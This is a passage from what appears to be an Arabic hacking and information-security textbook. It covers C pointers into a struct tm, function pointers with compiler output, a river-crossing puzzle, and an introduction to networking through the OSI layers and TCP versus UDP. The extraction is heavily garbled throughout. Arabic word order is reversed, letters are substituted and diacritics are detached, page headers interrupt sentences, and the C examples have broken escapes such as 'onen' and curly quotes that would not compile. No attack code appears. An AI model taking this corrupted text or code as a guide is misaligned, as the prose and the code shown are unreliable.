‫واملسام‬ ‫الطريقة‬ ‫ذذه‬ ‫باستخدام‬ ‫قمنا‬
‫ة‬
“direct access”
‫لعمل‬
access to the hour element

‫ال‬ ‫باستخدام‬ ‫الدطول‬ ‫وذي‬ ‫الثانية‬ ‫الطريقة‬
pointer
:
‫بعمل‬ ‫قمنا‬ ‫أننا‬ ‫تذكر‬
declare
‫ل‬
pointer time_ptr
‫وج‬
‫ال‬ ‫لىل‬ ‫يشري‬ ‫علناه‬
object
.
‫الرمز‬ ‫باستخدام‬ ‫قسنقوم‬
->
‫ال‬ ‫اىل‬ ‫الدطول‬ ‫من‬ ‫لنتمكن‬
element
!‫الدقائق‬ ‫اطرتنا‬ ‫ذنا‬ !‫نريده‬ ‫الذي‬

‫الثالث‬ ‫الطريقة‬
‫ة‬
(
‫بارش‬ُ‫م‬ ‫غري‬ ‫طريقة‬ ‫وذي‬
‫ة‬
!
)
:
َ‫ت‬
‫ذك‬
‫ر‬
‫أن‬
‫نا‬
‫الداطلي‬ ‫األقواس‬ ‫من‬ ‫ننتهي‬
‫ة‬
‫اخلارجي‬ ‫األقواس‬ ‫ثم‬ً‫ال‬‫أو‬
‫ة‬
.
.
‫ال‬ ‫بتحويل‬ ‫قمنا‬ ‫لقد‬
"
time_ptr pointer
"
‫لىل‬
integer pointer
‫عمل‬ ‫طريق‬ ‫عن‬
Cast
‫له‬
:‫ييل‬ ‫كام‬
(int *) time_ptr
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[96]
‫ال‬ ‫ذذا‬
pointer
‫لىل‬ ‫شري‬ُ‫ي‬
"
address of our object
"
‫ال‬ ‫أن‬ ‫ر‬‫ك‬َ‫َذ‬‫ت‬ ..‫تعلم‬ ‫كام‬
pointer
‫نوع‬ ‫من‬ ‫كان‬ ‫لذا‬ ‫عام‬ ‫بشكل‬
int
‫أول‬ ‫لىل‬ ‫شري‬ُ‫ي‬ ‫قإنه‬
4 bytes
‫ال‬ ‫من‬
address
‫مساحت‬ ‫أنه‬ ‫بمعنى‬ ‫كذلك؟‬ ‫أليس‬ ..
‫ة‬
4 bytes
‫أول‬ ‫ِبا‬ ‫ضع‬َ‫ي‬
4
bytes
‫ال‬ ‫من‬
address
.‫لليه‬ ‫يشري‬ ‫الذي‬
‫ال‬ ‫ذذا‬ ‫عىل‬ ‫نظرة‬ ‫ألقينا‬ ‫ولذا‬
object
:‫اآليت‬ ‫ُالحظ‬‫ن‬ َ
‫س‬َ‫ق‬ ‫لليه‬ ‫شري‬ُ‫ي‬ ‫الذي‬
struct tm {
int tm_sec; /* seconds */
‫ال‬ ‫أن‬ ‫الحظ‬
element
‫ال‬ ‫يف‬ ‫األوىل‬
struct
‫ال‬ ‫ذي‬
second
،
‫أهن‬ ‫بمعنى‬
‫أول‬ ‫يف‬ ‫تقع‬ ‫ا‬
4 bytes
‫ال‬ ‫من‬
struct
،
‫ألن‬
‫ال‬
struct
‫مساح‬ ‫غل‬‫ش‬َ‫ي‬ ‫ال‬ ‫نفسه‬
‫ة‬
‫ال‬ ‫بل‬ ..!
variables
.!‫ل‬َ‫غ‬‫َش‬‫ت‬ ‫التي‬ ‫ذي‬ ‫بداطله‬
‫بوضع‬ ‫منا‬ُ‫ق‬ ‫م‬ُ‫ث‬ ،!!‫رائع‬ ‫ذذا‬
)*(
‫بعمل‬ ‫لنقوم‬ ‫باخلارج‬ ‫أطرى‬
dereference
‫ال‬ ‫هلذا‬
int pointer
.
:‫الكود‬ ‫ذذا‬ ‫ُمرجات‬ ً‫ا‬‫مع‬ ‫لنرى‬
reader@hacking:~/booksrc $ gcc time_example.c
reader@hacking:~/booksrc $ ./a.out
time() - seconds since epoch: 1189311588
Current time is: 04:19:48
reader@hacking:~/booksrc $ ./a.out
time() - seconds since epoch: 1189311600
Current time is: 04:20:00
reader@hacking:~/booksrc $
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[97]
Function Pointers
‫نحن‬
‫جيد‬ ‫دراية‬ ‫عىل‬ ‫اآلن‬
‫ة‬
‫بال‬
Pointers
‫لذا‬ ،
‫س‬
‫نبدأ‬
‫ب‬
:‫مات‬‫قد‬ُ‫م‬ ‫دون‬ ‫ثال‬‫امل‬
#include <stdio.h>
int func_one() {
printf(“This is function onen”);
return 1;
}
int func_two() {
printf(“This is function twon”);
return 2;
}
int main() {
int value;
int (*function_ptr)();
function_ptr = func_one;
printf(“function_ptr is 0x%08xn”, function_ptr);
value = function_ptr();
printf(“value returned was %dn”, value);
function_ptr = func_two;
printf(“function_ptr is 0x%08xn”, function_ptr);
value = function_ptr();
printf(“value returned was %dn”, value);
}
‫الفارغ‬ ‫القوس‬ ‫ذا‬‫ِب‬ ‫ي‬‫َعن‬‫ن‬ ..ً‫ة‬‫داي‬‫ب‬
int func_one( )
‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫أن‬
function
‫أي‬ ‫ذ‬ ُ
‫تأط‬ ‫ال‬
Arguments
.
‫ال‬ ‫لىل‬ ‫نأيت‬
main( )
‫ال‬ َ‫ن‬‫م‬ ‫النوع‬ ‫ذذا‬ ‫َرى‬‫ن‬‫ل‬
pointers
‫العجيب‬
‫ة‬

:
int (*function_ptr)();
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[98]
‫معي‬ ‫الحظ‬
:
‫ال‬ ‫ذذا‬
pointer
..
‫ذو‬
"
*function_ptr
"
‫لىل‬ ‫شري‬ُ‫ي‬
Function
‫و‬ ‫ما‬
‫ال‬ ‫ذي‬
( )
!‫بعد‬ ‫ُحددذا‬‫ن‬ ‫مل‬ ‫ألننا‬ ..
.
‫ال‬ ‫ذذه‬
Function
‫لنا‬ ‫ع‬‫ج‬ ُ
‫سرت‬
value
‫ذات‬
data type
‫نوع‬ ‫من‬
integer
‫وذي‬
int
.‫نا‬ُ‫ذ‬ ‫الكود‬ ‫يف‬
‫تغري‬ُ‫م‬ ‫قنا‬‫ر‬َ‫ع‬ ّ‫م‬ُ‫ث‬
value
int
‫ال‬ ‫به‬ ‫نضع‬‫ل‬
return
‫بال‬ ‫اخلاص‬
function
.
‫ال‬ ‫استخدمنا‬
( )
printf
‫ال‬ ‫رض‬َ‫ع‬‫ب‬ ‫لتقوم‬
"
address of function
"
‫وذو‬
‫ال‬
pointer
.
‫ال‬ ‫لىل‬ ‫شري‬ُ‫ي‬ ‫و‬ُ‫ه‬َ‫ق‬
"
address of function
."
‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ ُ‫ه‬‫ُنفذ‬‫ت‬ َ
‫س‬ ‫ما‬ ً‫ا‬‫أيض‬ ‫نا‬َ‫ل‬ ‫ض‬‫تعر‬ َ
‫س‬َ‫و‬
function
،
‫تقوم‬ ُ
‫حيث‬
‫و‬ ،‫لة‬ ُ
‫مج‬ ‫باعة‬‫ط‬‫ب‬
"
return 1
"
‫ال‬ ‫لىل‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫شري‬ُ‫ي‬ ُ‫ه‬‫علنا‬ َ‫ج‬ ‫م‬ُ‫ث‬ .!‫ققط‬
func_two( )
.
‫لجراء‬ ‫م‬ُ‫ث‬
call
‫الطريق‬ ‫َفس‬‫ن‬‫ب‬ ‫ا‬ َ‫هل‬
‫ة‬
.
:‫النتائج‬ ‫ُشاذد‬‫ن‬‫ل‬
reader@hacking:~/booksrc $ gcc funcptr_example.c
reader@hacking:~/booksrc $ ./a.out
function_ptr is 0x08048374
This is function one
value returned was 1
function_ptr is 0x0804838d
This is function two
value returned was 2
reader@hacking:~/booksrc $
‫ح‬ُ‫أ‬
‫ئك‬‫ذن‬ُ‫أ‬ ‫أن‬ ُ
‫ب‬
..
‫ل‬
َ
‫وصلت‬ ‫د‬َ‫ق‬
‫لىل‬
‫هناية‬
‫الباب‬
‫األول‬
..
ُ‫ه‬‫لن‬
‫لنجاز‬
‫ع‬‫رائ‬
!
..
َ
‫ك‬َ‫ل‬ ‫م‬‫قد‬ُ‫أ‬ ‫دعني‬
ُ‫م‬
‫كاقأ‬
‫ة‬

.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[99]
‫ي‬ ‫أغنام‬ ‫راعي‬ ‫لدينا‬
،‫ب‬‫ش‬ُ‫ع‬‫ال‬ ‫وبعض‬ ،‫وماعز‬ ،‫ذئب‬ ‫متلك‬
‫الثالث‬ ‫وذم‬
‫ة‬
‫العبور‬ ‫يريدون‬ ،‫النهر‬ ‫أمام‬ ‫الصورة‬ ‫يف‬ ‫كام‬ ‫يقفوا‬
.‫األطرى‬ ‫للجهة‬
‫مكنه‬ُ‫ي‬ ‫صغري‬ ‫قارب‬ ‫لديه‬ ‫الراعي‬ ‫ذذا‬
.!‫مراحل‬ ‫دة‬‫ع‬ ‫عىل‬ ‫ون‬ ُ
‫سيعرب‬ ‫أهنم‬ ‫يعني‬ ‫ُما‬ ،!‫العبور‬ ‫أثناء‬ ‫معه‬ ‫واحد‬ ‫يشء‬ ‫أطذ‬ ‫ققط‬
‫ترك‬ ً‫ا‬‫أيض‬ ‫فرتض‬ُ‫ي‬ ‫ال‬ ‫الوقت‬ ‫نفس‬ ‫ويف‬ ،!‫ُلها‬‫ك‬‫يأ‬ ‫أن‬ ‫توقع‬ُ‫مل‬‫ا‬ ‫من‬ ُ
‫حيث‬ ‫املاعز‬ ‫مع‬ ‫الذئب‬ ‫ترك‬ ‫فرتض‬ُ‫ي‬ ‫ال‬ ،!‫انتبه‬ ‫ولكن‬
..!‫تلتهمه‬ ‫أن‬ ً‫ا‬‫أيض‬ ‫توقع‬ُ‫مل‬‫ا‬ ‫من‬ ُ
‫حيث‬ ‫العشب‬ ‫مع‬ ‫وحدذا‬ ‫املاعز‬
‫بن‬ ‫سنقوم‬ ‫قكيف‬
‫النهر؟‬ ‫من‬ ‫األطرى‬ ‫اجلهة‬ ‫لىل‬ ‫الثالثة‬ ‫قل‬
‫المعلومات‬‫وأمن‬ ‫اإللكترونيه‬‫القرصنة‬
Understanding Hacking and Information Security
[100]
This page intentionally left blank
‫المعلومات‬‫وأمن‬ ‫اإللكترونيه‬‫القرصنة‬
Understanding Hacking and Information Security
[101]
:!‫اللغز‬ ‫ذذا‬ ‫ل‬‫حل‬ ‫أقكار‬ ‫ن‬‫م‬ ‫نا‬َ‫ل‬ ‫دمته‬َ‫ق‬ ‫ما‬ ‫بار‬‫اطت‬‫ب‬ ‫َقوم‬‫ن‬‫ل‬ ‫ذيا‬ ‫واآلن‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[102]
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[103]
Part II
Networking
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[104]
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[105]
Introduction
‫ي‬
:‫الكريم‬ ‫كتابه‬ ‫يف‬ ‫تعاىل‬ ‫اهلل‬ ‫قول‬
﴿
‫وجعلناك‬
ً‫ا‬‫شعوب‬ ‫م‬
‫وقبائ‬
‫تعارقوا‬‫ل‬ َ
‫ل‬
﴾
..
‫خت‬ ‫ُك‬‫ن‬‫مك‬ُ‫ي‬ ‫ذل‬
‫ما‬ ٍ‫جزيرة‬ ‫يف‬ ً‫ا‬‫وحيد‬ ‫يعيش‬ ‫شخص‬ ‫يل‬
‫ما‬ ٍ‫بلد‬ ‫يف‬ ‫يعيش‬ ‫وذو‬ ‫ذاته‬ ‫الشخص‬ ‫ختيل‬ ‫م‬ُ‫ث‬ ،!‫ذة‬ ُ
‫رب‬‫ل‬ ‫ذلك‬ ‫ختيل‬ ،
‫أو‬ ‫اجتامعية‬ ‫كانت‬ ً‫ء‬‫سوا‬ ‫ُمتلفة‬ ‫بمعامالت‬ ‫يقوم‬ ،‫يومي‬ ‫بشكل‬ ‫منهم‬ ‫الكثري‬ ‫مع‬ ‫يتواصل‬ ،!‫لغته‬ ‫نفس‬ ‫يتكلمون‬ ‫برش‬ ‫مع‬
‫قكال‬ ،‫بسيط‬ ‫الفرق‬ .‫مادية‬
‫الشخص‬ ‫ذو‬ ‫األول‬ ‫أن‬ ‫غري‬ ،!‫واحد‬ ‫الشخصني‬
"
at rest
،"
‫ولكن‬ ‫الشخص‬ ‫نفس‬ ‫ذو‬ ‫والثاين‬
"
in dynamic
.."
‫ذذ‬ ‫بسبب‬ ‫وينمو‬ ‫ل‬َ‫م‬‫َكا‬‫ت‬َ‫ي‬‫س‬ ‫الثاين‬ ‫قالشخص‬ ،‫الكثري‬ ُ‫ه‬‫ل‬ ُ
‫ُضيف‬‫ت‬ َ
‫س‬ ‫الديناميكية‬ ‫ذذه‬
‫التواصل‬ ‫ا‬
‫اآلطرين‬ ‫عىل‬ ‫واالنفتاح‬
‫ال‬ ‫ذدية‬ ‫لهنا‬ ..
(Networking)
‫حت‬ ‫دون‬ ‫حمله‬ ‫سيظل‬ ‫اآلطر‬ ‫بينام‬ ،‫له‬
‫لعلك‬ ،!‫تطوير‬ ‫أو‬ ‫ديث‬
‫عام‬ ‫يف‬ ‫انتاجه‬ ‫تم‬ ‫قيلم‬ ‫شاذدت‬
2007
‫اسمه‬
“into the wild”
‫احليا‬ ‫ترك‬ ‫شاب‬ ‫قصة‬ ‫حيكي‬ ‫حيث‬
‫ة‬
‫وذذب‬ ‫االجتامعية‬
‫غابات‬ ‫اىل‬
"
‫أالسكا‬
"
‫امل‬ ‫مرض‬ ‫أصابه‬ ‫أن‬ ‫وبعد‬ ‫النهاية‬ ‫ويف‬ ..‫الناس‬ ‫عن‬ ‫بمعزل‬ ‫وحده‬ ‫ليعيش‬
ً‫ا‬‫وحيد‬ ‫حينها‬ ‫وكان‬ ،‫وت‬
‫الغاب‬ ‫يف‬
‫ة‬
‫عبار‬ ‫آطر‬ ‫بتدوين‬ ‫قام‬ ،
‫ة‬
‫ق‬ ‫له‬
:‫الرحيل‬ ‫بل‬
“Happiness within shared”
‫احليا‬ ‫وقارق‬ ً‫ال‬‫قلي‬ ‫اضجع‬ ‫ثم‬
‫ة‬
.!‫مسكني‬ ً‫قتى‬ ‫من‬ ُ‫ه‬‫يال‬ .
‫احليا‬ ‫يف‬ ‫وقاعليتهم‬ ‫طرباهتم‬ ‫من‬ ‫وتزيد‬ ‫الناس‬ ‫بني‬ ‫التعامالت‬ ‫بإثراء‬ ‫اللغات‬ ‫تقوم‬ ‫ثلام‬‫م‬َ‫ق‬
‫ة‬
‫عىل‬ ‫ذلك‬ ‫لسقاط‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ ً‫ا‬‫أيض‬ ،
‫تصفح‬ُ‫مل‬‫ا‬ ‫مثل‬ ‫بسيط‬ ‫برنامج‬
(browser)
،
‫بدون‬ ‫قيمته‬ ‫ما‬
‫يتمكن‬ ‫أن‬ ‫بمجرد‬ ‫ولكن‬ ،!‫حينها‬ ‫أحد‬ ُ‫ه‬‫ستخدم‬َ‫ي‬ ‫لن‬ ‫انرتنت؟‬
‫ال‬ ‫مع‬ ‫التواصل‬ ‫من‬ ‫اليشء‬ ‫ذذا‬
web servers
‫املختلف‬ ‫اإلتصال‬ ‫بروتوكوالت‬ ‫باستخدام‬ ‫مكان‬ ‫كل‬ ‫يف‬
‫ة‬
‫ستظهر‬ ‫حينها‬ ..
‫احلقيقي‬ ُ‫ه‬‫قيمت‬
‫ة‬
.‫كذلك؟‬ ‫أليس‬ .!
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[106]
‫ال‬ ‫من‬ ‫العديد‬ ‫أن‬ ‫املعروف‬ ‫من‬
Applications
‫عىل‬ ‫تعتمد‬
‫تتمكن‬ ‫كي‬ ‫الشبكات‬ ‫بيئة‬
‫من‬
‫لىل‬ ‫طدماهتا‬ ‫ليصال‬
‫ال‬
end users
،
‫ال‬ ‫ذذه‬ ‫عليها‬ ‫تعتمد‬ ‫التي‬ ‫الربوتوكوالت‬ ‫أنواع‬ ‫ختتلف‬ ‫ربام‬
applications
‫ولكن‬
‫ت‬
‫النهاية‬ ‫يف‬ ‫بقى‬
‫ال‬
‫سامت‬
‫العام‬
‫ة‬
‫املشرتك‬
‫ة‬
‫يف‬ ‫الربوتوكوالت‬ ‫هلذه‬
!‫للبيانات‬ ‫نقلها‬ ‫آليات‬
"
transport methods
."
‫ال‬ ‫أساسيات‬ ‫برشح‬ ‫اهلل‬ ‫لنشاء‬ ‫الباب‬ ‫ذذا‬ ‫يف‬ ‫سنقوم‬
‫ال‬ ‫لىل‬ ‫اإلنتقال‬ ّ‫م‬ُ‫ث‬ ،‫وبروتوكوالهتا‬ ‫شبكات‬
"
Sockets
،"
‫لتوضيح‬
‫و‬ ،‫ماذيتها‬
‫ال‬ ‫لغة‬ ‫يف‬ ‫واستخدامها‬ ‫لنشائها‬ ‫كيفية‬
C
.
..‫بنا‬ ‫ذيا‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[107]
The OSI Model
‫ال‬ ‫ذذا‬ ‫يقوم‬
OSI Model
‫ال‬ ‫بتقسيم‬
Network Communications Process
‫طبقات‬ ‫لىل‬
(Layers)
.
‫أداء‬ ‫يف‬ ‫بعضها‬ ‫عىل‬ ‫تعتمد‬ ‫الطبقات‬ ‫ذذه‬
‫الوظيف‬
‫ة‬
‫ما‬ ٍ‫طبقة‬ ‫أن‬ ‫قرضنا‬ ‫لذا‬ ً‫ال‬‫قمث‬ ،!
‫ال‬ ‫ولتكن‬
Transport Layer
،
‫ال‬ ‫لىل‬ ‫رسالة‬ ‫ليصال‬ ‫ذي‬ ‫وظيفتها‬
Destination
،
‫وبالنظر‬ .‫اإلرسال‬ ‫بإعادة‬ ‫قستقوم‬ ‫ل‬‫َص‬‫ت‬ َ‫مل‬ ‫ولذا‬ ،‫ت‬َ‫ل‬ َ
‫ص‬َ‫و‬ ‫الرسالة‬ ‫أن‬ ‫ن‬‫م‬ ‫التأكد‬ ‫مع‬
‫ال‬ ‫ذذه‬ ‫لىل‬
Service
‫تسري‬ ‫أهنا‬ ‫د‬‫َج‬‫ن‬ َ
‫س‬ ‫الطبقة‬ ‫ذذه‬ ‫من‬ ‫مة‬‫د‬ُ‫ق‬ُ‫مل‬‫ا‬
:‫كاآليت‬
‫ال‬ ‫وذي‬ ‫نها‬‫م‬ ‫أسفل‬ ‫تقع‬ ‫التي‬ ‫الطبقة‬
Network Layer
،
‫م‬ِّ‫د‬ً‫ق‬ُ‫ت‬
Service
ً‫ا‬‫أيض‬
‫ال‬ ‫من‬ ‫الرسالة‬ ‫ل‬ َ
‫مح‬ ‫وذي‬
Source
‫ال‬ ‫لىل‬
Destination
‫ال‬ ‫بإيصال‬ ‫ستقوم‬ ،‫ققط‬
Packet
‫ولعالم‬ ‫الوصول‬ ‫ن‬‫م‬ ‫ُد‬‫ك‬‫التأ‬ ‫عملية‬ ‫لجراء‬ ‫بدون‬ ،‫آطر‬ ‫كان‬َ‫م‬ ‫لىل‬ ‫كان‬َ‫م‬ ‫ن‬‫م‬
‫ال‬
Source
،
‫يف‬ ‫اإلرسال‬ ‫لعادة‬ ‫أو‬
‫التي‬ ‫قة‬َ‫ب‬َ‫ط‬‫ال‬ ‫ظيفة‬َ‫و‬ ‫ه‬‫ذ‬َ‫ه‬َ‫ق‬ ،‫لل‬ َ
‫ط‬ ‫دوث‬ ُ‫ح‬ ‫حال‬
.!‫َعلوذا‬‫ت‬
‫ال‬ ‫د‬‫َم‬‫ت‬‫َع‬‫ت‬ ‫وبالتايل‬
(
Layer 4
)
‫ال‬ ‫عىل‬
(
Layer 3
)
َ‫د‬ َ
‫ط‬ ‫تقديم‬ ‫يف‬
‫ا‬‫ماهت‬
..‫ل‬‫ث‬‫وبامل‬ ،
‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬
(
Layer 3
)
‫ال‬ ‫عىل‬ ‫د‬‫َم‬‫ت‬‫َع‬‫ت‬ َ
‫س‬
(
Layer 2
)
‫ال‬ ‫ليصال‬ ‫لية‬َ‫م‬َ‫ع‬ ‫لكامل‬ ‫يف‬
packet
..‫ر‬ َ
‫اآلط‬ ‫ف‬ َ‫ر‬َ‫ط‬‫ال‬ ‫لىل‬
‫علي‬ ‫ق‬‫ُطل‬‫ن‬ ‫ما‬ ‫وذذا‬
‫بال‬ ‫ه‬
“Service Block”
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[108]
‫ال‬ ‫ذذا‬ ‫ما‬
“Service Block”
‫؟‬..
.‫طدماهتا‬ ‫أداء‬ ‫يف‬ ‫البعض‬ ‫بعضها‬ ‫عىل‬ ‫الطبقات‬ ‫بني‬ ‫اإلعتامدية‬ ُ‫ه‬‫لن‬
:‫ة‬َ‫ع‬‫ب‬ َ‫الس‬ ‫قات‬َ‫ب‬َ‫ط‬‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫ن‬َ‫ع‬ ‫عامة‬ ‫كرة‬‫ق‬ ‫ذ‬ ُ
‫نأط‬ َ
‫س‬ ..‫واآلن‬
Application Layer
‫لل‬ ‫َظهر‬‫ت‬ ‫التي‬ ‫الطبقة‬ ‫ذذه‬
end user
‫ال‬ ‫يف‬ ‫وتتمثل‬
Applications
‫بأنو‬
‫ال‬ َ
‫َرب‬‫ت‬‫ُع‬‫ت‬ ‫قهي‬ ،‫اعها‬
Interface
‫مجيع‬ ‫وبني‬ ُ‫ه‬‫ين‬َ‫ب‬
‫ختلف‬ُ‫مل‬‫ا‬ ‫الشبكات‬ ‫تعلقات‬ُ‫م‬
‫ة‬
.
‫ال‬ ‫بروتوكول‬ ‫الطبقة‬ ‫ذذه‬ ‫يف‬ ‫يعمل‬ ً‫ال‬‫قمث‬
HTTP
‫الو‬ ‫صفحات‬ ‫عرض‬ ‫طلبات‬ ‫واستقبال‬ ‫لرسال‬ ‫عن‬ ‫املسؤول‬ ‫وذو‬
‫ب‬
‫الشهري‬ ‫الربوتوكول‬ ً‫ا‬‫أيض‬ ‫ِبا‬ ‫يعمل‬ ‫كام‬ ،‫تصفحك‬ُ‫م‬ ‫عىل‬
DNS
‫م‬ ‫عناوين‬ ‫برتمجة‬ ‫يقوم‬ ‫الذي‬ ‫وذو‬
‫االنرتنت‬ ‫واقع‬
‫ال‬ ‫من‬
"
human-readable
"
‫ال‬ ‫اىل‬
"
32-bit Network Address
،"
‫املواقع‬ ‫عناوين‬ ‫مجيع‬ ‫بياناته‬ ‫قواعد‬ ‫يف‬ ‫ن‬ ِّ‫َز‬ ُ
‫خي‬ ‫حيث‬
‫وال‬
IP Addresses
‫ر‬‫ناظ‬ُ‫مل‬‫ا‬
‫ة‬
‫بطريقة‬ ‫ا‬ َ‫هل‬
"
‫مية‬ َ‫ر‬َ‫ذ‬
"
‫عدة‬ ‫يف‬ ‫موزعة‬ ‫ضخمة‬ ‫أجهزة‬ ‫ويف‬ ،
‫مواضع‬
.‫العامل‬ ‫حول‬
‫ال‬ ‫عىل‬ ‫ق‬َ‫ل‬‫ط‬ُ‫ي‬
packet information
‫ذ‬ ‫يف‬
‫ال‬ ‫ذه‬
Layer
‫بال‬
“Data or Message”
.
Presentation Layer
‫ال‬ ‫عرض‬ ‫عملية‬ ‫عن‬ ‫مسؤولة‬ ‫الطبقة‬ ‫ذذه‬
Data
‫ال‬ ‫طبقة‬ ‫لىل‬ ‫قرائتها‬ ‫يمكن‬ ‫بلغة‬
Application
،
‫الكفاءة‬ ‫عطيها‬ُ‫ي‬ ‫ا‬‫ُم‬
‫ال‬ ‫تشفري‬ ‫قك‬ ‫أو‬ ‫تشفري‬‫ل‬
Data
،
‫تستطي‬ ‫أهنا‬ ‫لال‬ ،‫وقكه‬ ‫التشفري‬ ‫عمل‬ ‫ُها‬‫ن‬‫مك‬ُ‫ي‬ ‫التي‬ ‫الوحيدة‬ ‫الطبقة‬ ‫ت‬ َ‫ليس‬
‫بذلك‬ ‫القيام‬ ‫ع‬
‫ال‬ ‫ملتطلبات‬ ً‫ا‬‫تبع‬
Applications
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[109]
Session Layer
‫ال‬ ‫بإدارة‬ ‫الطبقة‬ ‫ذذه‬ ‫تقوم‬
"
Session
"
:‫الوظائف‬ ‫ِبذه‬ ‫تقوم‬ ‫قهي‬ ،‫األنظمة‬ ‫بني‬ ‫قتحها‬ ‫يتم‬ ‫التي‬
Establish, manage, and terminate the connection.
‫االتصال‬ ‫نوع‬ ‫سيكون‬ ‫لذا‬ ‫ما‬ ‫بتحديد‬ ‫تقوم‬ ً‫ا‬‫أيض‬
"
Full-Duplex or Half
."
‫ال‬ ‫عملية‬ ً‫ا‬‫وأيض‬
Graceful Shutdown
‫قجأ‬ ‫االتصال‬ ‫قطع‬ ‫من‬ ً‫ال‬‫بد‬
‫ة‬
Drop
.
Transport Layer
‫ال‬ ‫بنقل‬ ‫وظيفتها‬ ‫تتلخص‬
Msgs
‫ال‬ ‫بني‬
Applications
.
:‫باآليت‬ ‫تقوم‬ ‫قهي‬
"
Transport the Application Layer’s Messages
"
‫ال‬ ‫بني‬
(Application End points)
،
‫مع‬ ‫باالشرتاك‬ ‫بالطبع‬
‫ال‬ ‫مها‬‫َخد‬‫ت‬‫س‬َ‫ي‬ ‫التي‬ ‫االتصال‬ ‫قنوات‬ ‫ق‬‫وغل‬ ‫ة‬َ‫ع‬َ‫ب‬‫تا‬ُ‫م‬‫و‬ ‫دء‬‫ب‬ ‫ن‬َ‫ع‬ ‫املسؤولة‬ َ‫ي‬‫قه‬ ..‫تليها‬ ‫التي‬ ‫الطبقات‬
Application
‫ذذه‬ ..
‫ُسمى‬‫ت‬ ‫القنوات‬
"
Sockets
"
.
‫ال‬ ‫عناوين‬ ‫بإعطاء‬ ‫الطبقة‬ ‫ذذه‬ ً‫ا‬‫أيض‬ ‫تقوم‬ ‫ثم‬
"
Destination End Point
"
‫لىل‬
‫ال‬
(
Layer 3
)
‫كام‬ ‫الفعلية‬ ‫اإلرسال‬ ‫عملية‬ ‫تتم‬ ‫كي‬
‫ال‬ ‫مثال‬ ‫يف‬ ‫لك‬ ‫أوضحت‬
Service Block
.
‫األول‬ ،‫الربوتوكوالت‬ ‫أذم‬ ‫من‬ ‫نوعني‬ ‫الطبقة‬ ‫ذذه‬ ‫يف‬ ‫يعمل‬ ..‫املهم‬
TCP
‫والثاين‬
UDP
.
‫قاألول‬
‫ال‬ ‫بعملية‬ ‫يقوم‬
Transport
‫ال‬ ‫طدمة‬ ‫يقدم‬ ‫ولكن‬
Reliable Transfer
‫وصول‬ ‫لك‬ ‫سيضمن‬ ‫أنه‬ ‫بمعنى‬
‫به‬ ‫لت‬‫رس‬ُ‫أ‬ ‫الذي‬ ‫الرتتيب‬ ‫وقق‬ ‫املرسلة‬ ‫الرسائل‬
“Connection Oriented”
،
‫أي‬ ‫اعرتضها‬ ‫ما‬ ‫لذا‬ ‫الرسالة‬ ‫لرسال‬ ‫ولعادة‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[110]
‫ب‬ ‫يعمل‬ ‫حيث‬ ‫اليشء‬ ‫بعض‬ ‫بطيء‬ ‫قهو‬ ‫وبالتايل‬ .‫الوصول‬ ‫من‬ ‫مانع‬
Algorithm
‫الذي‬ ‫ج‬‫ربم‬ُ‫مل‬‫ا‬ ‫يقوم‬ ،ً‫ال‬‫قلي‬ ‫معقدة‬
‫ال‬ ‫يصمم‬
Application
‫ال‬ ‫عىل‬ ‫سيعتمد‬ ‫كان‬ ‫لذا‬ ‫ما‬ ‫بتحديد‬
TCP
‫ال‬ ‫أم‬
UDP
‫ال‬ ‫ونوع‬ ‫لوظيفة‬ ً‫ا‬‫تبع‬
Application
.
‫ال‬ ‫لىل‬ ‫نأيت‬
UDP
‫ال‬ ‫من‬ ً‫ا‬‫تعقيد‬ ‫أقل‬ ‫وذو‬
TCP
‫عليه‬ ‫طلق‬ُ‫ي‬ ‫وهلذا‬ ،‫ل‬‫كام‬ ‫بشكل‬ ‫التوصيل‬ ‫عملية‬ ‫لك‬ ‫يضمن‬ ‫لن‬ ‫حيث‬
“Connectionless Protocol”
‫رص‬ُ‫ف‬‫ال‬ ‫لنفسه‬ ‫عطي‬ُ‫ي‬‫ل‬ ‫وذلك‬
‫ة‬
‫ال‬ ‫قلص‬ُ‫ي‬ ‫بأن‬
Header
‫اخلا‬
‫عملية‬ ‫تكون‬‫ل‬ ‫به‬ ‫ص‬
‫ِسيع‬ ‫اإلرسال‬
‫ة‬
.
‫ال‬ ‫عليه‬ ‫يعتمد‬
DNS
‫ال‬ ‫ألن‬ ،‫عمله‬ ‫يف‬
DNS
‫ال‬ ‫من‬
‫عالي‬ ‫بُسعة‬ ‫تعمل‬ ‫أن‬ ‫البد‬ ‫التي‬ ‫ربوتوكوالت‬
‫ة‬
..
‫ال‬ ‫ي‬ّ‫م‬ َ
‫ُس‬‫ن‬
packet
